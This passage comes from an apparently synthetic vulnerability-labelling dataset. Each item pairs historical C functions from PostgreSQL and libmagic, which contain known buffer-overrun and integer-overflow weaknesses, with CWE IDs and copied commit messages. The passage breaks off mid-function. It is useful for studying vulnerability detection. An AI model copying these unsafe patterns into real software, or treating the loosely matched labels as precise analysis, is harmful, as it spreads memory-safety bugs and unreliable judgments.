columns\")));\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_ARRAY_SUBSCRIPT_ERROR),\n\t\t\t\t\t errmsg(\"wrong number of array subscripts\")));\n\t}\n\n\tdeconstruct_array(in_array,\n\t\t\t\t\t TEXTOID, -1, false, 'i',\n\t\t\t\t\t &in_datums, &in_nulls, &in_count);\n\n\tcount = in_count / 2;\n\n\tpairs = palloc(count * sizeof(Pairs));\n\n\tfor (i = 0; i < count; ++i)\n\t{\n\t\tif (in_nulls[i * 2])\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_NULL_VALUE_NOT_ALLOWED),\n\t\t\t\t\t errmsg(\"null value not allowed for hstore key\")));\n\n\t\tif (in_nulls[i * 2 + 1])\n\t\t{\n\t\t\tpairs[i].key = VARDATA_ANY(in_datums[i * 2]);\n\t\t\tpairs[i].val = NULL;\n\t\t\tpairs[i].keylen = hstoreCheckKeyLen(VARSIZE_ANY_EXHDR(in_datums[i * 2]));\n\t\t\tpairs[i].vallen = 4;\n\t\t\tpairs[i].isnull = true;\n\t\t\tpairs[i].needfree = false;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tpairs[i].key = VARDATA_ANY(in_datums[i * 2]);\n\t\t\tpairs[i].val = VARDATA_ANY(in_datums[i * 2 + 1]);\n\t\t\tpairs[i].keylen = hstoreCheckKeyLen(VARSIZE_ANY_EXHDR(in_datums[i * 2]));\n\t\t\tpairs[i].vallen = hstoreCheckValLen(VARSIZE_ANY_EXHDR(in_datums[i * 2 + 1]));\n\t\t\tpairs[i].isnull = false;\n\t\t\tpairs[i].needfree = false;\n\t\t}\n\t}\n\n\tcount = hstoreUniquePairs(pairs, count, &buflen);\n\n\tout = hstorePairs(pairs, count, buflen);\n\n\tPG_RETURN_POINTER(out);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703', 'CWE-189'], 'message': 'Predict integer overflow to avoid buffer overruns.\n\nSeveral functions, mostly type input functions, calculated an allocation\nsize such that the calculation wrapped to a small positive value when\narguments implied a sufficiently-large requirement. Writes past the end\nof the inadvertent small allocation followed shortly thereafter.\nCoverity identified the path_in() vulnerability; code inspection led to\nthe rest. In passing, add check_stack_depth() to prevent stack overflow\nin related functions.\n\nBack-patch to 8.4 (all supported versions). The non-comment hstore\nchanges touch code that did not exist in 8.4, so that part stops at 9.0.\n\nNoah Misch and Heikki Linnakangas, reviewed by Tom Lane.\n\nSecurity: CVE-2014-0064'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ConvertTimeZoneAbbrevs(TimeZoneAbbrevTable *tbl,\n\t\t\t\t\t struct tzEntry *abbrevs, int n)\n{\n\tdatetkn *newtbl = tbl->abbrevs;\n\tint\t\t\ti;\n\n\ttbl->numabbrevs = n;\n\tfor (i = 0; i < n; i++)\n\t{\n\t\tstrncpy(newtbl[i].token, abbrevs[i].abbrev, TOKMAXLEN);\n\t\tnewtbl[i].type = abbrevs[i].is_dst ? DTZ : TZ;\n\t\tTOVAL(&newtbl[i], abbrevs[i].offset / MINS_PER_HOUR);\n\t}\n\n\t/* Check the ordering, if testing */\n\tAssert(CheckDateTokenTable(\"timezone offset\", newtbl, n));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Prevent potential overruns of fixed-size buffers.\n\nCoverity identified a number of places in which it couldn't prove that a\nstring being copied into a fixed-size buffer would fit. We believe that\nmost, perhaps all of these are in fact safe, or are copying data that is\ncoming from a trusted source so that any overrun is not really a security\nissue. Nonetheless it seems prudent to forestall any risk by using\nstrlcpy() and similar functions.\n\nFixes by Peter Eisentraut and Jozef Mlich based on Coverity reports.\n\nIn addition, fix a potential null-pointer-dereference crash in\ncontrib/chkpass. The crypt(3) function is defined to return NULL on\nfailure, but chkpass.c didn't check for that before using the result.\nThe main practical case in which this could be an issue is if libc is\nconfigured to refuse to execute unapproved hashing algorithms (e.g.,\n\"FIPS mode\"). This ideally should've been a separate commit, but\nsince it touches code adjacent to one of the buffer overrun changes,\nI included it in this commit to avoid last-minute merge issues.\nThis issue was reported by Honza Horak.\n\nSecurity: CVE-2014-0065 for buffer overruns, CVE-2014-0066 for crypt()'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: results_differ(const char *testname, const char *resultsfile, const char *default_expectfile)\n{\n\tchar\t\texpectfile[MAXPGPATH];\n\tchar\t\tdiff[MAXPGPATH];\n\tchar\t\tcmd[MAXPGPATH * 3];\n\tchar\t\tbest_expect_file[MAXPGPATH];\n\tFILE\t *difffile;\n\tint\t\t\tbest_line_count;\n\tint\t\t\ti;\n\tint\t\t\tl;\n\tconst char *platform_expectfile;\n\n\t/*\n\t * We can pass either the resultsfile or the expectfile, they should have\n\t * the same type (filename.type) anyway.\n\t */\n\tplatform_expectfile = get_expectfile(testname, resultsfile);\n\n\tstrcpy(expectfile, default_expectfile);\n\tif (platform_expectfile)\n\t{\n\t\t/*\n\t\t * Replace everything afer the last slash in expectfile with what the\n\t\t * platform_expectfile contains.\n\t\t */\n\t\tchar\t *p = strrchr(expectfile, '/');\n\n\t\tif (p)\n\t\t\tstrcpy(++p, platform_expectfile);\n\t}\n\n\t/* Name to use for temporary diff file */\n\tsnprintf(diff, sizeof(diff), \"%s.diff\", resultsfile);\n\n\t/* OK, run the diff */\n\tsnprintf(cmd, sizeof(cmd),\n\t\t\t SYSTEMQUOTE \"diff %s \\\"%s\\\" \\\"%s\\\" > \\\"%s\\\"\" SYSTEMQUOTE,\n\t\t\t basic_diff_opts, expectfile, resultsfile, diff);\n\n\t/* Is the diff file empty? */\n\tif (run_diff(cmd, diff) == 0)\n\t{\n\t\tunlink(diff);\n\t\treturn false;\n\t}\n\n\t/* There may be secondary comparison files that match better */\n\tbest_line_count = file_line_count(diff);\n\tstrcpy(best_expect_file, expectfile);\n\n\tfor (i = 0; i <= 9; i++)\n\t{\n\t\tchar\t *alt_expectfile;\n\n\t\talt_expectfile = get_alternative_expectfile(expectfile, i);\n\t\tif (!file_exists(alt_expectfile))\n\t\t\tcontinue;\n\n\t\tsnprintf(cmd, sizeof(cmd),\n\t\t\t\t SYSTEMQUOTE \"diff %s \\\"%s\\\" \\\"%s\\\" > \\\"%s\\\"\" SYSTEMQUOTE,\n\t\t\t\t basic_diff_opts, alt_expectfile, resultsfile, diff);\n\n\t\tif (run_diff(cmd, diff) == 0)\n\t\t{\n\t\t\tunlink(diff);\n\t\t\treturn false;\n\t\t}\n\n\t\tl = file_line_count(diff);\n\t\tif (l < best_line_count)\n\t\t{\n\t\t\t/* This diff was a better match than the last one */\n\t\t\tbest_line_count = l;\n\t\t\tstrcpy(best_expect_file, alt_expectfile);\n\t\t}\n\t\tfree(alt_expectfile);\n\t}\n\n\t/*\n\t * fall back on the canonical results file if we haven't tried it yet and\n\t * haven't found a complete match yet.\n\t */\n\n\tif (platform_expectfile)\n\t{\n\t\tsnprintf(cmd, sizeof(cmd),\n\t\t\t\t SYSTEMQUOTE \"diff %s \\\"%s\\\" \\\"%s\\\" > \\\"%s\\\"\" SYSTEMQUOTE,\n\t\t\t\t basic_diff_opts, default_expectfile, resultsfile, diff);\n\n\t\tif (run_diff(cmd, diff) == 0)\n\t\t{\n\t\t\t/* No diff = no changes = good */\n\t\t\tunlink(diff);\n\t\t\treturn false;\n\t\t}\n\n\t\tl = file_line_count(diff);\n\t\tif (l < best_line_count)\n\t\t{\n\t\t\t/* This diff was a better match than the last one */\n\t\t\tbest_line_count = l;\n\t\t\tstrcpy(best_expect_file, default_expectfile);\n\t\t}\n\t}\n\n\t/*\n\t * Use the best comparison file to generate the \"pretty\" diff, which we\n\t * append to the diffs summary file.\n\t */\n\tsnprintf(cmd, sizeof(cmd),\n\t\t\t SYSTEMQUOTE \"diff %s \\\"%s\\\" \\\"%s\\\" >> \\\"%s\\\"\" SYSTEMQUOTE,\n\t\t\t pretty_diff_opts, best_expect_file, resultsfile, difffilename);\n\trun_diff(cmd, difffilename);\n\n\t/* And append a separator */\n\tdifffile = fopen(difffilename, \"a\");\n\tif (difffile)\n\t{\n\t\tfprintf(difffile,\n\t\t\t\t\"\\n======================================================================\\n\\n\");\n\t\tfclose(difffile);\n\t}\n\n\tunlink(diff);\n\treturn true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Prevent potential overruns of fixed-size buffers.\n\nCoverity identified a number of places in which it couldn't prove that a\nstring being copied into a fixed-size buffer would fit. We believe that\nmost, perhaps all of these are in fact safe, or are copying data that is\ncoming from a trusted source so that any overrun is not really a security\nissue. Nonetheless it seems prudent to forestall any risk by using\nstrlcpy() and similar functions.\n\nFixes by Peter Eisentraut and Jozef Mlich based on Coverity reports.\n\nIn addition, fix a potential null-pointer-dereference crash in\ncontrib/chkpass. The crypt(3) function is defined to return NULL on\nfailure, but chkpass.c didn't check for that before using the result.\nThe main practical case in which this could be an issue is if libc is\nconfigured to refuse to execute unapproved hashing algorithms (e.g.,\n\"FIPS mode\"). This ideally should've been a separate commit, but\nsince it touches code adjacent to one of the buffer overrun changes,\nI included it in this commit to avoid last-minute merge issues.\nThis issue was reported by Honza Horak.\n\nSecurity: CVE-2014-0065 for buffer overruns, CVE-2014-0066 for crypt()'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: \nprivate int\nmget(struct magic_set *ms, const unsigned char *s, struct magic *m,\n size_t nbytes, size_t o, unsigned int cont_level, int mode, int text,\n int flip, int *returnval)\n{\n\tuint32_t offset = ms->offset;\n\tuint32_t count = m->str_range;\n\tint rv;\n\tchar *sbuf, *rbuf;\n\tunion VALUETYPE *p = &ms->ms_value;\n\tstruct mlist ml;\n\n\tif (mcopy(ms, p, m->type, m->flag & INDIR, s, (uint32_t)(offset + o),\n\t (uint32_t)nbytes, count) == -1)\n\t\treturn -1;\n\n\tif ((ms->flags & MAGIC_DEBUG) != 0) {\n\t\tfprintf(stderr, \"mget(type=%d, flag=%x, offset=%u, o=%zu, \"\n\t\t \"nbytes=%zu, count=%u)\\n\", m->type, m->flag, offset, o,\n\t\t nbytes, count);\n\t\tmdebug(offset, (char *)(void *)p, sizeof(union VALUETYPE));\n#ifndef COMPILE_ONLY\n\t\tfile_mdump(m);\n#endif\n\t}\n\n\tif (m->flag & INDIR) {\n\t\tint off = m->in_offset;\n\t\tif (m->in_op & FILE_OPINDIRECT) {\n\t\t\tconst union VALUETYPE *q = CAST(const union VALUETYPE *,\n\t\t\t ((const void *)(s + offset + off)));\n\t\t\tswitch (cvt_flip(m->in_type, flip)) {\n\t\t\tcase FILE_BYTE:\n\t\t\t\toff = q->b;\n\t\t\t\tbreak;\n\t\t\tcase FILE_SHORT:\n\t\t\t\toff = q->h;\n\t\t\t\tbreak;\n\t\t\tcase FILE_BESHORT:\n\t\t\t\toff = (short)((q->hs[0]<<8)|(q->hs[1]));\n\t\t\t\tbreak;\n\t\t\tcase FILE_LESHORT:\n\t\t\t\toff = (short)((q->hs[1]<<8)|(q->hs[0]));\n\t\t\t\tbreak;\n\t\t\tcase FILE_LONG:\n\t\t\t\toff = q->l;\n\t\t\t\tbreak;\n\t\t\tcase FILE_BELONG:\n\t\t\tcase FILE_BEID3:\n\t\t\t\toff = (int32_t)((q->hl[0]<<24)|(q->hl[1]<<16)|\n\t\t\t\t\t\t (q->hl[2]<<8)|(q->hl[3]));\n\t\t\t\tbreak;\n\t\t\tcase FILE_LEID3:\n\t\t\tcase FILE_LELONG:\n\t\t\t\toff = (int32_t)((q->hl[3]<<24)|(q->hl[2]<<16)|\n\t\t\t\t\t\t (q->hl[1]<<8)|(q->hl[0]));\n\t\t\t\tbreak;\n\t\t\tcase FILE_MELONG:\n\t\t\t\toff = (int32_t)((q->hl[1]<<24)|(q->hl[0]<<16)|\n\t\t\t\t\t\t (q->hl[3]<<8)|(q->hl[2]));\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif ((ms->flags & MAGIC_DEBUG) != 0)\n\t\t\t\tfprintf(stderr, \"indirect offs=%u\\n\", off);\n\t\t}\n\t\tswitch (cvt_flip(m->in_type, flip)) {\n\t\tcase FILE_BYTE:\n\t\t\tif (nbytes < (offset + 1))\n\t\t\t\treturn 0;\n\t\t\tif (off) {\n\t\t\t\tswitch (m->in_op & FILE_OPS_MASK) {\n\t\t\t\tcase FILE_OPAND:\n\t\t\t\t\toffset = p->b & off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPOR:\n\t\t\t\t\toffset = p->b | off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPXOR:\n\t\t\t\t\toffset = p->b ^ off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPADD:\n\t\t\t\t\toffset = p->b + off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMINUS:\n\t\t\t\t\toffset = p->b - off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMULTIPLY:\n\t\t\t\t\toffset = p->b * off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPDIVIDE:\n\t\t\t\t\toffset = p->b / off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMODULO:\n\t\t\t\t\toffset = p->b % off;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} else\n\t\t\t\toffset = p->b;\n\t\t\tif (m->in_op & FILE_OPINVERSE)\n\t\t\t\toffset = ~offset;\n\t\t\tbreak;\n\t\tcase FILE_BESHORT:\n\t\t\tif (nbytes < (offset + 2))\n\t\t\t\treturn 0;\n\t\t\tif (off) {\n\t\t\t\tswitch (m->in_op & FILE_OPS_MASK) {\n\t\t\t\tcase FILE_OPAND:\n\t\t\t\t\toffset = (short)((p->hs[0]<<8)|\n\t\t\t\t\t\t\t (p->hs[1])) &\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPOR:\n\t\t\t\t\toffset = (short)((p->hs[0]<<8)|\n\t\t\t\t\t\t\t (p->hs[1])) |\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPXOR:\n\t\t\t\t\toffset = (short)((p->hs[0]<<8)|\n\t\t\t\t\t\t\t (p->hs[1])) ^\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPADD:\n\t\t\t\t\toffset = (short)((p->hs[0]<<8)|\n\t\t\t\t\t\t\t (p->hs[1])) +\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMINUS:\n\t\t\t\t\toffset = (short)((p->hs[0]<<8)|\n\t\t\t\t\t\t\t (p->hs[1])) -\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMULTIPLY:\n\t\t\t\t\toffset = (short)((p->hs[0]<<8)|\n\t\t\t\t\t\t\t (p->hs[1])) *\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPDIVIDE:\n\t\t\t\t\toffset = (short)((p->hs[0]<<8)|\n\t\t\t\t\t\t\t (p->hs[1])) /\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMODULO:\n\t\t\t\t\toffset = (short)((p->hs[0]<<8)|\n\t\t\t\t\t\t\t (p->hs[1])) %\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} else\n\t\t\t\toffset = (short)((p->hs[0]<<8)|\n\t\t\t\t\t\t (p->hs[1]));\n\t\t\tif (m->in_op & FILE_OPINVERSE)\n\t\t\t\toffset = ~offset;\n\t\t\tbreak;\n\t\tcase FILE_LESHORT:\n\t\t\tif (nbytes < (offset + 2))\n\t\t\t\treturn 0;\n\t\t\tif (off) {\n\t\t\t\tswitch (m->in_op & FILE_OPS_MASK) {\n\t\t\t\tcase FILE_OPAND:\n\t\t\t\t\toffset = (short)((p->hs[1]<<8)|\n\t\t\t\t\t\t\t (p->hs[0])) &\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPOR:\n\t\t\t\t\toffset = (short)((p->hs[1]<<8)|\n\t\t\t\t\t\t\t (p->hs[0])) |\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPXOR:\n\t\t\t\t\toffset = (short)((p->hs[1]<<8)|\n\t\t\t\t\t\t\t (p->hs[0])) ^\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPADD:\n\t\t\t\t\toffset = (short)((p->hs[1]<<8)|\n\t\t\t\t\t\t\t (p->hs[0])) +\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMINUS:\n\t\t\t\t\toffset = (short)((p->hs[1]<<8)|\n\t\t\t\t\t\t\t (p->hs[0])) -\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMULTIPLY:\n\t\t\t\t\toffset = (short)((p->hs[1]<<8)|\n\t\t\t\t\t\t\t (p->hs[0])) *\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPDIVIDE:\n\t\t\t\t\toffset = (short)((p->hs[1]<<8)|\n\t\t\t\t\t\t\t (p->hs[0])) /\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMODULO:\n\t\t\t\t\toffset = (short)((p->hs[1]<<8)|\n\t\t\t\t\t\t\t (p->hs[0])) %\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} else\n\t\t\t\toffset = (short)((p->hs[1]<<8)|\n\t\t\t\t\t\t (p->hs[0]));\n\t\t\tif (m->in_op & FILE_OPINVERSE)\n\t\t\t\toffset = ~offset;\n\t\t\tbreak;\n\t\tcase FILE_SHORT:\n\t\t\tif (nbytes < (offset + 2))\n\t\t\t\treturn 0;\n\t\t\tif (off) {\n\t\t\t\tswitch (m->in_op & FILE_OPS_MASK) {\n\t\t\t\tcase FILE_OPAND:\n\t\t\t\t\toffset = p->h & off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPOR:\n\t\t\t\t\toffset = p->h | off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPXOR:\n\t\t\t\t\toffset = p->h ^ off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPADD:\n\t\t\t\t\toffset = p->h + off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMINUS:\n\t\t\t\t\toffset = p->h - off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMULTIPLY:\n\t\t\t\t\toffset = p->h * off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPDIVIDE:\n\t\t\t\t\toffset = p->h / off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMODULO:\n\t\t\t\t\toffset = p->h % off;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\toffset = p->h;\n\t\t\tif (m->in_op & FILE_OPINVERSE)\n\t\t\t\toffset = ~offset;\n\t\t\tbreak;\n\t\tcase FILE_BELONG:\n\t\tcase FILE_BEID3:\n\t\t\tif (nbytes < (offset + 4))\n\t\t\t\treturn 0;\n\t\t\tif (off) {\n\t\t\t\tswitch (m->in_op & FILE_OPS_MASK) {\n\t\t\t\tcase FILE_OPAND:\n\t\t\t\t\toffset = (int32_t)((p->hl[0]<<24)|\n\t\t\t\t\t\t\t (p->hl[1]<<16)|\n\t\t\t\t\t\t\t (p->hl[2]<<8)|\n\t\t\t\t\t\t\t (p->hl[3])) &\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPOR:\n\t\t\t\t\toffset = (int32_t)((p->hl[0]<<24)|\n\t\t\t\t\t\t\t (p->hl[1]<<16)|\n\t\t\t\t\t\t\t (p->hl[2]<<8)|\n\t\t\t\t\t\t\t (p->hl[3])) |\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPXOR:\n\t\t\t\t\toffset = (int32_t)((p->hl[0]<<24)|\n\t\t\t\t\t\t\t (p->hl[1]<<16)|\n\t\t\t\t\t\t\t (p->hl[2]<<8)|\n\t\t\t\t\t\t\t (p->hl[3])) ^\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPADD:\n\t\t\t\t\toffset = (int32_t)((p->hl[0]<<24)|\n\t\t\t\t\t\t\t (p->hl[1]<<16)|\n\t\t\t\t\t\t\t (p->hl[2]<<8)|\n\t\t\t\t\t\t\t (p->hl[3])) +\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMINUS:\n\t\t\t\t\toffset = (int32_t)((p->hl[0]<<24)|\n\t\t\t\t\t\t\t (p->hl[1]<<16)|\n\t\t\t\t\t\t\t (p->hl[2]<<8)|\n\t\t\t\t\t\t\t (p->hl[3])) -\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMULTIPLY:\n\t\t\t\t\toffset = (int32_t)((p->hl[0]<<24)|\n\t\t\t\t\t\t\t (p->hl[1]<<16)|\n\t\t\t\t\t\t\t (p->hl[2]<<8)|\n\t\t\t\t\t\t\t (p->hl[3])) *\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPDIVIDE:\n\t\t\t\t\toffset = (int32_t)((p->hl[0]<<24)|\n\t\t\t\t\t\t\t (p->hl[1]<<16)|\n\t\t\t\t\t\t\t (p->hl[2]<<8)|\n\t\t\t\t\t\t\t (p->hl[3])) /\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMODULO:\n\t\t\t\t\toffset = (int32_t)((p->hl[0]<<24)|\n\t\t\t\t\t\t\t (p->hl[1]<<16)|\n\t\t\t\t\t\t\t (p->hl[2]<<8)|\n\t\t\t\t\t\t\t (p->hl[3])) %\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} else\n\t\t\t\toffset = (int32_t)((p->hl[0]<<24)|\n\t\t\t\t\t\t (p->hl[1]<<16)|\n\t\t\t\t\t\t (p->hl[2]<<8)|\n\t\t\t\t\t\t (p->hl[3]));\n\t\t\tif (m->in_op & FILE_OPINVERSE)\n\t\t\t\toffset = ~offset;\n\t\t\tbreak;\n\t\tcase FILE_LELONG:\n\t\tcase FILE_LEID3:\n\t\t\tif (nbytes < (offset + 4))\n\t\t\t\treturn 0;\n\t\t\tif (off) {\n\t\t\t\tswitch (m->in_op & FILE_OPS_MASK) {\n\t\t\t\tcase FILE_OPAND:\n\t\t\t\t\toffset = (int32_t)((p->hl[3]<<24)|\n\t\t\t\t\t\t\t (p->hl[2]<<16)|\n\t\t\t\t\t\t\t (p->hl[1]<<8)|\n\t\t\t\t\t\t\t (p->hl[0])) &\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPOR:\n\t\t\t\t\toffset = (int32_t)((p->hl[3]<<24)|\n\t\t\t\t\t\t\t (p->hl[2]<<16)|\n\t\t\t\t\t\t\t (p->hl[1]<<8)|\n\t\t\t\t\t\t\t (p->hl[0])) |\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPXOR:\n\t\t\t\t\toffset = (int32_t)((p->hl[3]<<24)|\n\t\t\t\t\t\t\t (p->hl[2]<<16)|\n\t\t\t\t\t\t\t (p->hl[1]<<8)|\n\t\t\t\t\t\t\t (p->hl[0])) ^\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPADD:\n\t\t\t\t\toffset = (int32_t)((p->hl[3]<<24)|\n\t\t\t\t\t\t\t (p->hl[2]<<16)|\n\t\t\t\t\t\t\t (p->hl[1]<<8)|\n\t\t\t\t\t\t\t (p->hl[0])) +\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMINUS:\n\t\t\t\t\toffset = (int32_t)((p->hl[3]<<24)|\n\t\t\t\t\t\t\t (p->hl[2]<<16)|\n\t\t\t\t\t\t\t (p->hl[1]<<8)|\n\t\t\t\t\t\t\t (p->hl[0])) -\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMULTIPLY:\n\t\t\t\t\toffset = (int32_t)((p->hl[3]<<24)|\n\t\t\t\t\t\t\t (p->hl[2]<<16)|\n\t\t\t\t\t\t\t (p->hl[1]<<8)|\n\t\t\t\t\t\t\t (p->hl[0])) *\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPDIVIDE:\n\t\t\t\t\toffset = (int32_t)((p->hl[3]<<24)|\n\t\t\t\t\t\t\t (p->hl[2]<<16)|\n\t\t\t\t\t\t\t (p->hl[1]<<8)|\n\t\t\t\t\t\t\t (p->hl[0])) /\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMODULO:\n\t\t\t\t\toffset = (int32_t)((p->hl[3]<<24)|\n\t\t\t\t\t\t\t (p->hl[2]<<16)|\n\t\t\t\t\t\t\t (p->hl[1]<<8)|\n\t\t\t\t\t\t\t (p->hl[0])) %\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} else\n\t\t\t\toffset = (int32_t)((p->hl[3]<<24)|\n\t\t\t\t\t\t (p->hl[2]<<16)|\n\t\t\t\t\t\t (p->hl[1]<<8)|\n\t\t\t\t\t\t (p->hl[0]));\n\t\t\tif (m->in_op & FILE_OPINVERSE)\n\t\t\t\toffset = ~offset;\n\t\t\tbreak;\n\t\tcase FILE_MELONG:\n\t\t\tif (nbytes < (offset + 4))\n\t\t\t\treturn 0;\n\t\t\tif (off) {\n\t\t\t\tswitch (m->in_op & FILE_OPS_MASK) {\n\t\t\t\tcase FILE_OPAND:\n\t\t\t\t\toffset = (int32_t)((p->hl[1]<<24)|\n\t\t\t\t\t\t\t (p->hl[0]<<16)|\n\t\t\t\t\t\t\t (p->hl[3]<<8)|\n\t\t\t\t\t\t\t (p->hl[2])) &\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPOR:\n\t\t\t\t\toffset = (int32_t)((p->hl[1]<<24)|\n\t\t\t\t\t\t\t (p->hl[0]<<16)|\n\t\t\t\t\t\t\t (p->hl[3]<<8)|\n\t\t\t\t\t\t\t (p->hl[2])) |\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPXOR:\n\t\t\t\t\toffset = (int32_t)((p->hl[1]<<24)|\n\t\t\t\t\t\t\t (p->hl[0]<<16)|\n\t\t\t\t\t\t\t (p->hl[3]<<8)|\n\t\t\t\t\t\t\t (p->hl[2])) ^\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPADD:\n\t\t\t\t\toffset = (int32_t)((p->hl[1]<<24)|\n\t\t\t\t\t\t\t (p->hl[0]<<16)|\n\t\t\t\t\t\t\t (p->hl[3]<<8)|\n\t\t\t\t\t\t\t (p->hl[2])) +\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMINUS:\n\t\t\t\t\toffset = (int32_t)((p->hl[1]<<24)|\n\t\t\t\t\t\t\t (p->hl[0]<<16)|\n\t\t\t\t\t\t\t (p->hl[3]<<8)|\n\t\t\t\t\t\t\t (p->hl[2])) -\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMULTIPLY:\n\t\t\t\t\toffset = (int32_t)((p->hl[1]<<24)|\n\t\t\t\t\t\t\t (p->hl[0]<<16)|\n\t\t\t\t\t\t\t (p->hl[3]<<8)|\n\t\t\t\t\t\t\t (p->hl[2])) *\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPDIVIDE:\n\t\t\t\t\toffset = (int32_t)((p->hl[1]<<24)|\n\t\t\t\t\t\t\t (p->hl[0]<<16)|\n\t\t\t\t\t\t\t (p->hl[3]<<8)|\n\t\t\t\t\t\t\t (p->hl[2])) /\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMODULO:\n\t\t\t\t\toffset = (int32_t)((p->hl[1]<<24)|\n\t\t\t\t\t\t\t (p->hl[0]<<16)|\n\t\t\t\t\t\t\t (p->hl[3]<<8)|\n\t\t\t\t\t\t\t (p->hl[2])) %\n\t\t\t\t\t\t off;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} else\n\t\t\t\toffset = (int32_t)((p->hl[1]<<24)|\n\t\t\t\t\t\t (p->hl[0]<<16)|\n\t\t\t\t\t\t (p->hl[3]<<8)|\n\t\t\t\t\t\t 